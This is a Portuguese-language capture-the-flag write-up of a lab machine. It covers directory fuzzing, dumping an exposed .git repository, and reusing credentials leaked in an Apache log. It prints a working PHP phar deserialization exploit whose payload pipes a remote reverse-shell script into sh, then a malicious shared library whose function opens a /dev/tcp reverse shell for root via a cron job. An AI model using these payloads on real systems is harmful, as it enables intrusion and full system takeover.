Recon
(Não usei o nmap pois abri a máquina no meu computador, o nmap não apontaria nada demais se eu rodasse ele no UHCLabs ou no próprio dia do UHC)
De início o site é um blog sobre hacking e possui alguns lugares para compra de cursos, incluindo ZAP LOCKING (trava zap)…
Dando uma olhada no site em busca de falhas e também no código fonte, a primeira coisa que eu tentei “explorar” foi um formulário de e-mail no final da página, em busca de alguns Comand Injections, Server-side Request Forgery e etc.
Porém não encontrei nada.
Então segui e rodei um Fuzzing em busca de arquivos e diretórios no site, utilizei uma ferramenta chamada “ffuf”:
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u 'http://127.0.0.1/FUZZ' -c
Como está no comando acima eu utilizei a wordlist “common.txt” do repositório seclists no github. De início houve alguns retornos interessantes, eu poderia rodar outras wordlists, normalmente eu uso a “common.txt, quickhits.txt e big.txt”.
LICENSE - Apenas uma licensa de código, muito comum em ctfs;
admin.php - Painel de administração, vamos voltar nele mais tarde;
.hta - Arquivos do apache, status code 403 acesso negado!
css - Pasta de arquivos do CSS, acesso negado!
.git/HEAD - ".git" exposed uma vulnerabilidade crítica;
font - Arquivo de fontes, acesso negado!
fonts - Arquivo de fontes, acesso negado!
img - Uma pasta com as imagens do site, acesso negado!
index.html - Página incial do site;
.htaccess - Arquivos do apache, status code 403 acesso negado!
js - Arquivos de javascript, acesso negado!
.htpasswd - Arquivos do apache, status code 403 acesso negado!
server-status - Script que verifica se o servidor está online, porém, status code 403 acesso negado!
uploads - Pasta de uploads, interessante... mas acesso negado.
Na página /admin.php temos um redirect para /login.php onde existe formulário de login, podemos verificar se existe alguma forma de achar credenciais e fazer o login ou fazer algum tipo de bypass.
Na página /.git parece que temos uma possível falha de “git exposed”, vamos verificar se é válida e se sim vamos explora-la.
(Ao invés de entrar no “/.git/HEAD” verifiquei o “.git”:
Temos uma página dizendo que não podemos acessar o .git, esse template é incomum de ver em páginas com .git exposto, ai deve ter algo, dando um Ctrl+U para verificar o código fonte da página acabei encontrando a primeira flag! (sempre é bom ler o código fonte das aplicações).
Agora as chances da exploração serem pela falha de git exposed aumentaram pelo fato da primeira flag estar lá.
Se o desenvolvedor utiliza o Git para controle de versões do site, lá ficariam localizados todos os arquivos do site, commits (pequenas notas sobre o que mudou de versão para versão) e etc, o /.git não deveria ser acessível pelo público.
Exploitation
Parte 1
Para explorar o Git Exposed existem duas formas, de forma manual, e usando algumas tools. Eu recomendo tentar fazer de forma manual, e depois rodar a Tool, para aprender o que realmente a Tool faz. Vou deixar um link onde existe um artigo sobre falha de Git Exposed e sobre como explorar de forma manual (https://medium.com/swlh/hacking-git-directories-e0e60fa79a36).
Como disse acima vamos usar algumas ferramentas para essa exploração, no caso elas estão em um repositório do GitHub que tem o nome de GitTools (https://github.com/internetwache/GitTools)
Na verdade é um pacote com 3 scripts, vamos usar dois deles, o Dumper e o Extractor.
Primeiro o Dumper para dumpar as coisas que estão no Git da máquina. (o segundo argumento é a pasta para onde os arquivos vão, botei na pasta onde está o script de extrair os arquivos para facilitar).
./gitdumper.sh 'http://127.0.0.1/.git/' ~/Tools/GitTools/Extractor/dumpchuvinha
Agora vamos para o diretório do Extractor e vamos extrair esse dump de arquivos para podermos ler:
./extractor.sh dumpchuvinha extractchuvinha
Agora temos todos os arquivos do site na nossa maquina!
E parece que tem uma flag aqui hehe:
Parece que teremos que fazer um code review…
Vou abrir tudo no VisualStudioCode para facilitar.
Na primeira versão do site (/0-be7dbd2b1e15ffec896cf61484c5a89d18b77335) temos um arquivo de log do apache para ler.
São várias solicitações GET para o site que não aparentam ter nada de interessante, são tantas iguais o que me da a ideia de procurar por algo diferente em meio a todas essas iguais, dando um Ctrl+F para pesquisar dentro do arquivo, eu procuro por “POST” um outro método http, e incrivelmente eu encontro um request POST de uma autenticação, com credenciais para a página login.php, na fase de reconhecimento identificamos a página admin.php, muito provavelmente essas credenciais são do administrador do site.
Como é um request php parece que a senha está encodada em string de URL, vou utilizar um decoder de URL para arrumar isso.
Ok, vamos testar essas credenciais!
Logamos!
(Um aviso: Agora a exploração será um pouco complicada, não prometo que vai ser o melhor jeito de explicar porém darei o meu melhor)
Nessa página temos um lugar para colocar uma URL de imagem e um campo que checa o tamanho da imagem (Arquivo).
Tentei colocar alguns arquivos para tentar upar alguma shell, mas não tive resultados.
Vamos retornar para o código que dumpamos para entender melhor como que isso funciona:
Nós passamos um link e o php executa um wget para esse link pegando o arquivo e salvando (por conta da função escapeshellarg() nós não conseguiremos manipular o input para trigar um RCE), mas existem outras formas…
Depois ele roda um filesize() no arquivo e retorna o outupt na página.
Um adendo a uma parte do código curiosa no começo dele:
Parece que temos uma função que remove algo do servidor com o comando “rm”, no caso o $package_name, será que tem alguma forma de modificar esse objeto $package_name para algo que escapasse do comando “rm” e nós conseguíssemos rodar comandos no servidor?
Dando uma pesquisada pelas funções que tem no código ( filesize() e __destruct() ) acabei descobrindo uma forma de desserealização insegura com arquivos phar.
Exploitation
Parte 2
O objetivo de um ataque de desserealização insegura em uma aplicação web é poder manipular/injetar objetos, e é o que temos que fazer com o objeto $packagename para conseguir um RCE.
Vamos utilizar arquivos phar que são gerados com a classe Phar que é utilizada para empacotar aplicações PHP em um único arquivo que pode ser facilmente distribuído e executado. Se ficou complicado explicarei melhor, pense em um arquivo zip com varias coisas dentro, esse é o arquivo phar no php porém com vários objetos e classes dentro.
A sacada é que existem algumas funções no php que quando executadas em arquivos phar desserealizam os objetos dele, uma dessas funções é a filesize(), então o que temos que fazer é instanciar a classe Package onde está a parte vulnerável da aplicação e declarar o nosso $package_name com o nosso payload.
Como na outra parte da exploração vou deixar alguns links de artigos e em especial um vídeo do ippsec (que inclusive narra o UHC em algumas edições).
Artigos:
- https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/
- https://blog.ripstech.com/2018/new-php-exploitation-technique/
Vídeos:
Ok, vamos começar a brincadeira!
Para gerar o arquivo phar vou utilizar um script pronto do PayloadAllTheThings:
<?php
class PDFGenerator { }
//Create a new instance of the Dummy class and modify its property
$dummy = new PDFGenerator();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload
// Delete any existing PHAR archive with that name
@unlink("poc.phar");
// Create a new archive
$poc = new Phar("poc.phar");
// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();
// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
/* Add a new file in the archive with "text" as its content*/
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>
Agora vamos começar alterando o nome da classe “PDFGenerator” para o nome da nossa classe vulnerável.
PDFGenerator —> Package
Depois o objeto “filename” para o nome do nosso objeto onde temos que escrever o payload
filename —> package_name
E então temos que escrever a nossa payload, como o comando que vai rodar é um “rm” teremos que escapar dele:
rm payload
Existem várias formas de se fazer isso( | , ; ) irei fazer com $(), o comando rodaria mais ou menos assim no servidor: |
rm $(payload)
Assim estaríamos escapando do “rm” e podendo escrever o que quiséssemos de comando no lugar de payload.
O script terá que ficar mais ou menos assim:
<?php
class Package { }
//Create a new instance of the Dummy class and modify its property
$dummy = new Package();
//$dummy->callback = "passthru";
$dummy->package_name = "$(curl http://reverse-shell.sh/172.31.228.136:1234 | sh ) "; //our payload
// Delete any existing PHAR archive with that name
@unlink("poc.phar");
// Create a new archive
$poc = new Phar("poc.phar");
// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();
// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
/* Add a new file in the archive with "text" as its content*/
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>
Minha payload foi uma forma bem legal de pegar reverse shell, usando um site, logo depois passei meu ip e a porta onde ele deve se conectar.
Agora vamos gerar o arquivo phar!
Parece que nossa configuração do php não nos deixa gerar um arquivo phar, vamos arrumar isso.
php --ini
Isso vai retornar onde está seu arquivo de configuração do php, vamos editar ele, procurando por “phar” vamos modificar uma linha: (removendo o ; do começo dela e escrevendo “Off” no lugar de “On”)
E então:
Agora deve funcionar:
Temos nosso payload. Para fazer o donwload dele na máquina vou criar um servidor python na minha maquina:
(https://github.com/viniciuspereiras/bingo)
bingo
ou
python3 -m http.server
E o download:
Ok retornou com um “File downloaded! You can access it Here” vou clicar no Here para ver o caminho onde o arquivo foi salvo.
Agora vamos rodar a função do filesize() nele mas usando um “phar://./” antes para funcionar, e também abriremos um netcat para ouvir na porta onde colocamos (no caso na porta 1234)
Aqui está nossa shell, para ela ficar mais interativa usei o “rlwrap” antes do netcat.
Pós-Exploitation
Agora que estamos com shell precisamos escalar nossos privilégios na máquina, estamos como o usuário do apache “www-data”.
Verifiquei os diretórios atrás de coisas, verifiquei as permissões de sudo (aparentemente não podemos rodar sudo na máquina), e verifiquei as permissões de binários também, e no fim rodei um linpeas para garantir.
Achei uma pasta de um script na pasta /opt do linux, o script é um monitorador de diretórios git expostos (cômico pois ele falhou lá atrás). E tem cara de que vai falhar agora nos dando uma shell de root.
Lendo o script em c, percebemos que ele é bem simples, e opa achamos mais uma flag!
#include <stdio.h>
#include <stdlib.h>
#include "gitlib/libgitutils.h"
// UHC{s1mpl3%%%%%%%%%%%%%%t0_RCE}
int main(){
check_git_safety();
}$
Lendo o README.md podemos ver como que o script foi instalado e um pouco de como ele funciona.
Podemos perceber que o script utliza uma biblioteca compartilhada, poderiamos trocar a biblioteca que ele está usando para uma biblioteca nossa e subscrever a função que o script usa, no caso “check_git_safety()”.
Isto se chama Library Hijacking nesse caso em libs de C.
Pesquisando sobre como criar libs em C cheguei a simples conclusão que só precisamos escrever uma nova função num script “.c” normal e compilar como uma biblioteca.
Então vamos escrever nossa biblioteca falsificada e declarar nossa função:
#include <stdlib.h>
void check_git_safety() {
system("bash -c 'bash -i >& /dev/tcp/172.20.17.36/8989 0>&1'");
}
Como pode ver subscrevi a função check_git_safety() para rodar a função system com o comando para nos mandar uma reverse shell.
Ela iria mandar a shell como root já que no README.md percebemos que o script roda como um cronjob de root.
Então na minha máquina vou compilar o script para transformar numa biblioteca compartilhada.
(O nome do script é libgitutils.c)
Vamos compilar:
gcc libgitutils.c -fpic -c
Isso vai gerar um arquivo libgitutils.o
gcc -shared -o libgitutils.so libgitutils.o
Agora temos nossa biblioteca compartilhada libgitutils.so .
Vamos novamente abrir um servidor python na nossa máquina para passar a biblioteca compartilhada para dentro na máquina que temos shell.
Agora com a nossa biblioteca falsificada dentro da máquina vamos seguir as instruções do README.md e copiar nossa lib falsificada para o diretório das instruções.
Primeira instrução:
1. Copy our libgitutils.so library to /lib/x86_64-linux-gnu/libgitutils.so
Vamos copiar:
cp libgitutils.so /lib/x86_64-linux-gnu/libgitutils.so
Segunda instrução:
2. Install a cronjob that runs /opt/git-monitorer/gitmon every minute
Como já alteramos a biblioteca, a cada um minuto o script deve ser rodado, então vamos apenas abrir a porta 8989 da nossa máquina para receber a reverse shell e esperar um minuto.
Ownamos!
Agora vamos ver se achamos a flag, dando uma olhada rápida pelo diretório /root, ela já estava lá.
É isso XD .